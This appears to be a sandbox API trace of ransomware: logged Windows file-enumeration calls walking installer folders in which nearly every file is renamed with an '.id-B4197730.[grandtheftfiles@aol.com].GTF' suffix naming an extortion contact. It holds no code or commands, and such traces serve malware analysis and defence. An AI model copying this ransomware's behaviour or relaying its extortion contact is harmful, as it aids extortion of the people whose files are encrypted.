	[0153.274] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02ace16, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02ace16, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04c31b6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.274] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0153.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.275] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="3076", cAlternateFileName="")) returned 1
	[0153.275] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.275] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.276] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.276] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01582d6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.276] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fcb99df, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0131f8d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.276] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05ce010, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.276] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05ce010, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.276] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.277] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="3082", cAlternateFileName="")) returned 1
	[0153.277] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.277] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x41406d8
	[0153.278] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.278] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0131f8d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0131f8d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa02ace16, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.278] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa023d020, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa023d020, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa03de47c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.279] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04e9481, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.279] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04e9481, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.279] FindClose (in: hFindFile=0x41406d8 | out: hFindFile=0x41406d8) returned 1
	[0153.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.279] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Client", cAlternateFileName="")) returned 1
	[0153.279] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.280] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140118
	[0153.280] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.280] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01582d6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01582d6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01a4586, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARAME~1.GTF")) returned 1
	[0153.281] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa027311f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 1
	[0153.281] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa027311f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 0
	[0153.281] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0153.281] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.281] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01f0a33, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="DHtmlHeader.html.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DHTMLH~1.GTF")) returned 1
	[0153.282] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa050f66f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa050f66f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa050f66f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="DisplayIcon.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DISPLA~1.GTF")) returned 1
	[0153.282] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Extended", cAlternateFileName="")) returned 1
	[0153.282] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.282] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140398
	[0153.283] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.283] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01f0a33, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01f0a33, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0725ae4, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARAME~1.GTF")) returned 1
	[0153.283] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02831e1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02831e1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0771964, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 1
	[0153.283] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02831e1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02831e1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0771964, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 0
	[0153.283] FindClose (in: hFindFile=0x4140398 | out: hFindFile=0x4140398) returned 1
	[0153.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.284] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0153.284] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.284] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140458
	[0153.285] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.285] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa053576e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa053576e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0581e7d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Print.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PRINTI~1.GTF")) returned 1
	[0153.285] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05a7e25, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05a7e25, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05a7e25, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate1.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~1.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06ff259, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate2.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~2.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa068cbd2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate3.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~3.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa061a43a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate4.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~4.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa061a43a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa061a43a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06406a2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate5.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROA729~1.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa061a43a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa061a43a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa09ae005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate6.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RO0ECB~1.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06669c1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06669c1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06669c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate7.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROE90F~1.GTF")) returned 1
	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06ff259, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06ff259, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa1016218, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Rotate8.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RO836C~1.GTF")) returned 1
